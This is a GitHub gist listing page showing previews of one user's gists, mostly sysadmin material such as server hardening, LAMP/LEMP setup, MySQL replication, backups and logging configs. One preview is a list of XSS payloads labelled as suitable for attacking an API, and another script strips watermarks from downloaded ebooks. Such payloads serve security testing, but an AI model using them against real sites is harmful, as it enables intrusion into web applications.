Skip to content

Instantly share code, notes, and snippets.

# Avoid a smurf attack
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Turn on protection for bad icmp error messages
net.ipv4.icmp_ignore_bogus_error_responses = 1
# Turn on syncookies for SYN flood attack protection
net.ipv4.tcp_syncookies = 1
# Turn on and log spoofed, source routed, and redirect packets
@shaheemirza
shaheemirza / Laravel PHP7 LEMP AWS.md
Created July 13, 2016 07:00 — forked from santoshachari/Laravel PHP7 LEMP AWS.md
Laravel 5.x on Ubuntu 14.x, PHP 7.x, Nginx 1.9.x

#Steps to install latest Laravel, LEMP on AWS Ubuntu 14.4 version. This tutorial is the improvised verision of this tutorial on Digitalocean based on my experience.

Install PHP 7 on Ubuntu

Run the following commands in sequence.

sudo apt-get install -y language-pack-en-base
sudo LC_ALL=en_US.UTF-8 add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get install zip unzip
@shaheemirza
shaheemirza / 666_lines_of_XSS_vectors.html
Created June 26, 2016 06:58 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@shaheemirza
shaheemirza / README.md
Created June 9, 2016 09:45 — forked from ringe/README.md
KVM QCOW2 Live backup

Live backup of KVM virtual machines

This script will let you make backups of live VMs running on KVM, using libvirt.

The backup job will suspend the VM for the time it takes to copy the RAM to disk.

Credits: Luca Lazzeroni

I've made some minor adjustments.

@shaheemirza
shaheemirza / mysql_replication_autostart.sh
Created May 24, 2016 07:29 — forked from nicomak/mysql_replication_autostart.sh
This script automates the process of starting a Mysql Replication on 1 master node and N slave nodes.
#!/bin/bash
#title : mysql_replication_autostart.sh
#description : This script automates the process of starting a Mysql Replication on 1 master node and N slave nodes.
#author : nicomak
#date : 20160308
#version : 0.1
#usage : bash mysql_replication_autostart.sh
#bash_version : 4.3.11(1)-release
#=============================================================================
@shaheemirza
shaheemirza / 1MyClusInstall.md
Created May 16, 2016 10:54 — forked from htcang/1MyClusInstall.md
MySQL Cluster Installation

Machine 1: Management Node + SQL Node

IP: 192.168.0.151

  1. Install prequisition
yum install perl
@shaheemirza
shaheemirza / no_watermark.py
Created April 28, 2016 11:16
Reqursivelly removing the watermarks of it-ebooks.info's downloaded eBooks
import re
import os
import shutil
import argparse
from os import path
from sys import stderr
#
# Author: Daxda
# Date: 02.04.2014
@shaheemirza
shaheemirza / nginx.conf
Created April 1, 2016 11:12 — forked from plentz/nginx.conf
Best nginx configuration for improved security(and performance). Complete blog post here http://tautt.com/best-nginx-configuration-for-security/
# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048
@shaheemirza
shaheemirza / README.md
Created December 19, 2015 12:39 — forked from mashdot/README.md
Bacula concurrent jobs multiple storage devices client labeled pools debian installation configuration.
Time-stamp: <2012-03-30 Fri 16:56 README.md>
Author....: 'Mash (Thomas Herbert)

TOSHINE-BACULA

Bacula concurrent jobs multiple storage devices client labeled pools Debian installation and configuration.
Please see http://toshine.org/etc for full article.

Bacula Debian Installation.

@shaheemirza
shaheemirza / logstash_suricata_eve.conf
Created December 15, 2015 06:50 — forked from regit/logstash_suricata_eve.conf
A sample Logstash configuration for Suricata JSON output.
input {
file {
path => [ "/usr/local/var/log/suricata/eve.json" ]
codec => json
}
}
filter {
if [src_ip] {
geoip {